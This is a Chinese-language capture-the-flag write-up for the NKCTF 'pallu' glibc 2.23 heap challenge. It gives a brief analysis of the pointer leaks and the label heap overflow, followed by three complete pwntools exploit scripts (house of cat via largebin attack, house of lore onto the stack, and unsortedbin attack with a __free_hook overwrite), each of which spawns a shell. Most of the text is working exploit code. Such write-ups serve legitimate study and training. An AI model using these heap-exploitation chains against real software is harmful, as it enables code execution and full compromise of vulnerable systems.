Glibc Heap Exploit 坐牢笔记 - 0x09

# NKCTF-pallu

# 分析

一个 2.23 的 heap
实现的功能就是能创造几个种类的 chunk,可以自定义一个种类的 chunk,包括名称,size(根据两个现有的大小取平均值)等。。。
但是 size 的限制就是小于 0x4ff 的堆块不能被 free,也不能用它得到另外一个 size 的 chunk。
在 setlabel 函数里面可以使用堆溢出漏洞,但是前提是布置好对应 size 的 chunk。此外,还有记录使用次数的变量,一旦使用过这个漏洞 2 次,就没法再次使用。
除此之外,一旦这个变量不是初始值,输出函数就没法再次使用。
因此我们要在拿到必须的地址之后再使用这个漏洞
拿地址的漏洞:
创建一个新种类的 chunk,输入名称的时候,没有对字符串进行截断,导致可以在输出的时候把结构体中存储的 chunk 的地址连带出来。
gift 函数可以使用两次得到 2 个小的 chunk(0x202),但是在输入 giftcode 的时候,没有进行截断,导致输出的时候会把内存连续的 libc 地址给写出来,这样就拿到了堆地址和 libc 地址

之后使用堆溢出就能直接 largebin attack+house of cat 直接拿 shell 了,而且方法比其他方法简单。

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#patchelf --set-interpreter /home/.../ld-2.23.so --replace-needed libc.so.6 /home/.../libc.so.6 pwn
#coding=utf-8
from pwn import *
from socket import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

global p
global r
ELFpath=''
libcpath=''

DEBUG=2
PROCESS=1
REMOTE=0

run_mode=PROCESS
socket_flag=False

ELFpath='./pallu'
e=ELF(ELFpath)
os.chdir(ELFpath[:ELFpath.rfind('/')])

libcpath='./libc-2.23.so'
if(libcpath!=""):
libc=ELF(libcpath)


start_script='''
b setbuf
'''

if(socket_flag==False):
if(run_mode==DEBUG):
p=gdb.debug(args=[ELFpath,start_script])
elif(run_mode==PROCESS):
# p=process(argv=[ELFpath])
p=process(['./ld-2.23.so', ELFpath], env={"LD_PRELOAD":'./libc-2.23.so'})
elif(run_mode==REMOTE):
p=remote('node.nkctf.yuzhian.com.cn',35180)

else:
if(run_mode==DEBUG):
r=gdb.debug(ELFpath,start_script )
elif(run_mode==PROCESS):
r=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])
pause()
p=remote('127.0.0.1',6666)


rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))

ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64 (data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
global run_mode
if(run_mode!=PROCESS):
return
text_base, libc_base = get_base(p, 'challenge')
script = '''
set $text_base = {}
set $libc_base = {}
'''.format(text_base, libc_base)
if socket_flag==False:
gdb.attach(p, script)
else:
gdb.attach(r, script)

def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)

def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18) #ptr2relplt
#relplt
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)

#dyn_symtab
link_map+=p64(0)
link_map+=p64(know_got-0x8)

link_map+=b'/flag\x00\0\x00'

link_map=link_map.ljust(0x68,b'B')

link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr

link_map=link_map.ljust(0xf8,b'C')

link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map

def add(idx):
p.sendlineafter("Your choice:","1")
p.sendlineafter("pallu index:",str(idx))
def set_label(idx,pl):
p.sendlineafter("Your choice:","2")
p.sendlineafter("pallu index:",str(idx))
p.sendlineafter("input Labels:",pl)
def print_pal(idx):
p.sendlineafter("Your choice:","3")
p.sendlineafter("pallu index:",str(idx))
def bleed(i1,i2,name):
p.sendlineafter("Your choice:","4")
p.sendlineafter("pallu index:",str(i1))
p.sendlineafter("pallu index:",str(i2))
p.sendlineafter("Do you want to set name by yourself?(y/n)",'y')
p.sendlineafter("input name:",name)
def kill(idx):
p.sendlineafter("Your choice:","5")
p.sendlineafter("pallu index:",str(idx))
def leak():
p.sendlineafter("Your choice:","6")
def hack():
p.sendlineafter("Your choice:","9")

def gift(code):
p.sendlineafter("Your choice:","8")
if code==1:
p.sendlineafter("Enter the git code:","Happy NKCTF2024!")
else :
p.sendlineafter("Enter the git code:","Welcome PalluWorld!")
# 泄露堆地址和libc基址。
add(0)
add(1)
bleed(0,1,b'a'*0x10)
p.recvuntil("You get new pallu named aaaaaaaaaaaaaaaa")
addr=u64(p.recv(6)+b'\x00\x00')
heap_base=addr-(0x55555632c530-0x55555632a000)
# bleed(1,2,b'B'*0x10)
kill(0)
kill(3)
kill(2)
gift(1)
p.recvuntil("Your gift code : Happy NKCTF2024!")
p.recv(1)
addr=u64(b'\x00'+p.recv(5)+b'\x00\x00')
libc_base=addr-(0x788be75c3800-0x788be7200000)
# print)()
print(hex(libc_base))

# gift(2)

# kill(0)
# kill(1)
# kill(2)
# kill(3)
# 整出来大小不同而且在用一个largebin list大小范围的chunk。准备之后的largebin attack
add(2)
bleed(1,2,b'ccf1')
kill(2)
bleed(1,3,b'ccf2')
kill(3)
bleed(1,2,b'ccf3')
kill(2)
bleed(1,3,b'ccf4')
kill(3)
bleed(1,2,b'ccf')

# 提前写好伪造的IO结构体

# ru("0x")
libcbase=libc_base
LOGTOOL['libcbase']=libcbase
# ru("0x")
fake_io=heap_base+0x210
LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)
IO_file_jumps=libcbase+0x3C26E0
LOGTOOL["IO_file_jump"]=IO_file_jumps
IO_wfile_jumps=libcbase+0x3C2260
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps
execve_addr=libcbase+0xcbcf0
LOGTOOL['execve']=execve_addr
setcontext_61=libcbase+0x47B00+53
LOGTOOL['setcontext_61']=setcontext_61
system=libc_base+0x45380
rop=b'/bin/sh\x00'
# 0x execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
one=libc_base+0xef9f4
pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(one)]
},filler=b'\x00'
),
0x138:flat(
{
0x28:p64(fake_io+0x118),
0x68:p64(fake_io+0x1e8), # rdi
0x70:p64(0), # rsi
0x88:p64(0), # rdx
0xa0:p64(fake_io+0x1e8), # rsp
0xa8:p64(system) # ret_addr
},filler=b'\x00'
),
0x1e8:flat(
{
0x00:rop
},filler=b'\x00'
)
},filler=b'\x00'
)
# s(pay[0x10:])
# 清空当前chunk,省事。同时准备堆溢出进行largebin attack
kill(1)
kill(2)
kill(3)
add(9)
add(1)
add(1)
kill(1)
add(8)
io_all=libc_base+0x003C4520
av1=libc_base+(0x7039d05c3fa8-0x7039d0200000)
nx=heap_base+0x210
# 堆溢出修改bk为io_list_all地址-0x20,(largebin attack)
set_label(0,b'a'*0x200+p64(0)+p64(0x531)+p64(av1)+p64(av1)+p64(nx)+p64(io_all-0x20))
# largebin attack
kill(3)
add(8)
kill(3)
add(1)
# 堆溢出布置伪造的结构体
set_label(0,b'a'*0x200+pay[:])

LOGALL()
hack()

it()

# 其他方法

除了这个方法,官方 WP 的另一位师傅的 WP 写了不同的两种方法。

# 方法 1

(链接)[https://mp.weixin.qq.com/s/H3l54bICAkvLTFNuPTinKg]
利用 house of lore 把 chunk 申请到栈上面,进行栈溢出。
但是要利用 small bin(来自堆块分割)的 chunk 的 bk,不仅要在栈上布置好双向链表,而且还要多拿个栈地址,不如 cat 方便简洁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
from LibcSearcher import *
import sys
context(os='linux', arch='amd64', log_level='debug')
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
rc=lambda x:p.recv(x)
rl=lambda :p.recvline()
ru=lambda x:p.recvuntil(x)
ita=lambda :p.interactive()
slc=lambda :asm(shellcraft.sh())
uu64=lambda x:u64(x.ljust(8,b'\0'))
uu32=lambda x:u32(x.ljust(4,b'\0'))
def gdba(x=''):
if len(sys.argv) > 1:
if sys.argv[1] == 'n':
return
if type(p)==pwnlib.tubes.remote.remote:
return
elif type(p)==pwnlib.tubes.process.process:
gdb.attach(p,x)
# print('',proc.pidof(p)[0])
# gdb.attach(proc.pidof(p)[0])
pause()
def getProcess():
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return remote('','')
else:
return process('./pallu')
def initpallu(index):
ru(b'Your choice:')
sl(b'1')
ru(b'pallu index:')
sl(str(index).encode())
def setLabel(index,label):
ru(b'Your choice:')
sl(b'2')
ru(b'pallu index:')
sl(str(index).encode())
ru(b'input Labels:')
sl(label)
def bleedpallu(index1,index2,name):
ru(b'Your choice:')
sl(b'4')
ru(b'pallu index:')
sl(str(index1).encode())
ru(b'pallu index:')
sl(str(index2).encode())
ru(b'?(y/n)')
sl(b'y')
sla(b'input name:',name)
def killpallu(index):
ru(b'Your choice:')
sl(b'5')
ru(b'pallu index:')
sl(str(index).encode())
def getgift(code):
ru(b'Your choice:')
sl(b'8')
sla(b'Enter the git code:',code)
def exit_():
ru(b'Your choice:')
sl(b'10')
p=getProcess()
# gdb.attach(p)
# 先后获得栈与libc的地址
code1=b'a'*(8*5-1)+b'\n'
getgift(code1)
ru(code1)
libcaddr = rc(6)
libcaddr=uu64(libcaddr)
print("libcaddr",hex(libcaddr))
libcbase=libcaddr-0x3ad96
print("libcbase",hex(libcbase))
code2=b'a'*(8*9-1)+b'\n'
getgift(code2)
ru(code2)
stackaddr = rc(6)
stackaddr=uu64(stackaddr)-0x80
print("stackaddr",hex(stackaddr))
print("libcbase",hex(libcbase))
# 此时可init的pallu为:
# 0:0x2000 1:0x500 2:0x930
initpallu(1)
initpallu(2)
# 当前持有pallu的size
# 0:0x500 1:0x930
# 让两只pallu繁育出一只0x718的pallu
# 培育出的pallu可以自定义名字,此时充满16字节后通过打印pallu名字可以得到堆地址
bleedpallu(0,1,b'h'*0x10)
# 接受溢出得到的堆地址
ru(b'h'*0x10)
ru(b'h'*0x10)
heapaddr = rc(6)
heapaddr=uu64(heapaddr)-0x950
print("heapaddr",hex(heapaddr))
# 清空所有pallu,保证空间整洁
killpallu(2)
killpallu(1)
killpallu(0)
print("kill All pallu")
# 此时可init的pallu为:
# 0:0x2000 1:0x500 2:0x930 3:0x718
initpallu(3) # 开辟一块0x720的chunk
initpallu(3) # 该chunk用于阻拦top chunk,防止上一个chunk释放时被top chunk合并
killpallu(0) # 释放0号pallu,得到一个0x720的free chunk(unsorted bin)
initpallu(1) # 请求一个0x510的chunk,此时会将上面的unsortedbin分割用于分配,剩下一个0x210的unsortedbin
initpallu(1) # 再请求一个大于0x210的chunk,作用为堆管理器在unsortedbin中搜索找不到符合大小的bin时,会将0x210的unsortedbin放入smallbin
killpallu(2) # 上一步创建的chunk没用了,释放掉
# 此时在新建的0号pallu后面即为smallbin,溢出修改其fd指向栈地址
# setLabel中存在0x20的溢出,正好能修改到smallbin的fd
setLabel(0,b'g'*0x500+p64(0)+p64(0x221)+p64(0x7f8796c7ad78-0x7f87968b7000+libcbase)+p64(stackaddr+0x30))
print("setLabel")
# 编辑栈内容,构造smallbin链表,同时根据题目得到一个获得0x210的chunk的分配机会
giftcode=b'Happy NKCTF2024!'
giftcode=giftcode.ljust(0x10,b'\0')
giftcode+=p64(0)+p64(0)+p64(stackaddr+0x30)+p64(0)
giftcode+=p64(0)+p64(0)+p64(heapaddr)+p64(stackaddr+0x10)
getgift(giftcode)
print("send giftcode2")
gdba()
pause()
# 此时再次创建的0x210大小的chunk会根据链表分配到栈上
getgift(b'Welcome PalluWorld!')
# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
onegadget=libcbase+0x4525a
# 溢出栈上的chunk,即可将函数返回地址修改为onegadget,获得shell
setLabel(3,b'\x00'*4*8+p64(0xdeadbe00)+p64(onegadget)+p64(0)*10)
# gdba("b *$rebase(0x0000000000002592)")
exit_()
ita()

# 方法 2

(链接)[https://www.irreel.top/2024/03/nk2024pwn/#leak]
unsortedbin attack 改变存储使用堆溢出漏洞次数的变量为一个大数字(main_arena 的地址),从而达到几乎无限次使用漏洞,然后改记录 chunk 的数组,让地址指向钩子或者 got 表,然后使用修改函数把钩子或者 got 表改成 onegadget 之类的就能拿 shell 了。
但是 cat 在这个方法使用 unsortedbin attack 的时候就已经可以拿 shell 了,这种方法还是没有 cat 简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'

def skip(idx):
p.sendlineafter(b'10.Help\n----------------------\n', str(idx).encode())

def create(index):
skip(1)
p.sendlineafter(b'index:', str(index).encode())

def edit(index, content=b'\x00'):
skip(2)
p.sendlineafter(b'index:', str(index).encode())
p.sendafter(b'Labels:', content)

def show(index):
skip(3)
p.sendlineafter(b'index:', str(index).encode())
p.recvuntil(b'labels: ')
return p.recvline(keepends=False)

def breed(index1, index2):
skip(4)
p.sendlineafter(b'index:', str(index1).encode())
p.sendlineafter(b'index:', str(index2).encode())

p.sendlineafter(b'yourself?(y/n)', b'y')
p.sendafter(b'name:', b'0123456789abcdef')

def delete(index):
skip(5)
p.sendlineafter(b'index:', str(index).encode())

def show_name(index):
skip(6)
p.recvuntil(b'\n%d.\npallu name: ' % index)
return p.recvline(keepends=False)

def gift(index):
skip(8)
if index in [0, 1]:
p.sendlineafter(b'git code:', [b"Happy NKCTF2024!", b"Welcome PalluWorld!"][index])
else:
assert type(index) == bytes
assert b'\n' not in index
p.sendlineafter(b'git code:', index)
p.recvuntil(b'Your gift code : ')
p.recvline()
return p.recvline(keepends=False)

'''
# proxy
import socks
context.proxy = (socks.HTTP, '192.168.168.47', 10809)
'''

import time
import random

def exp():
create(1) # 0
create(1) # 1
breed(0, 1) # 2
heap_base = u64(show_name(2)[0x10: ] + b'\x00\x00') - 0xa30
print('heap:', hex(heap_base))
delete(2)
delete(1)
delete(0)

libc_base = u64(gift(b'0' * 0xf) + b'\x00\x00') - libc.sym['_IO_2_1_stdin_']
print('libc:', hex(libc_base))
elf_base = u64(gift(b'0' * 0x2f) + b'\x00\x00') - 0x1260
print(' elf:', hex(elf_base))

gift(0) # 0
create(1) # 1
edit(0, (
p64(0) + p64(0x201) +
p64(elf_base + 0x6200 + 0x10 - 0x18) + p64(elf_base + 0x6200 + 0x10 - 0x10)
).ljust(0x200, b'\x00') + p64(0x200) + p64(0x510))
delete(1) # ~1

gift(1) # 1
create(1) # 2
create(1) # 3
delete(2) # ~2
edit(1, b'A' * 0x208 + p64(0x511) + p64(0) + p64(elf_base + 0x6000))
# time.sleep(0.5)
create(1) # 2

edit(0, p64(0) +
p64(0) * 2 + p64(libc_base + next(libc.search(b'/bin/sh\x00'))) + p32(0x500) +
p64(0) * 2 + p64(libc_base + libc.sym['__free_hook']) + p32(0x500)
)
edit(1, p64(libc_base + libc.sym['system']))
delete(0)

# context.log_level = 'debug'
import sys
LOCAL = len(sys.argv) == 1

program = './pallu'
libc = ELF('./libc-2.23.so', checksec=False)

if LOCAL:
p = process(program.split(' '))
else:
if len(sys.argv) == 2:
host, port = sys.argv[1].split(':')
port = int(port)
else:
host, port = sys.argv[1], int(sys.argv[2])
p = remote(host, port)

exp()

p.interactive()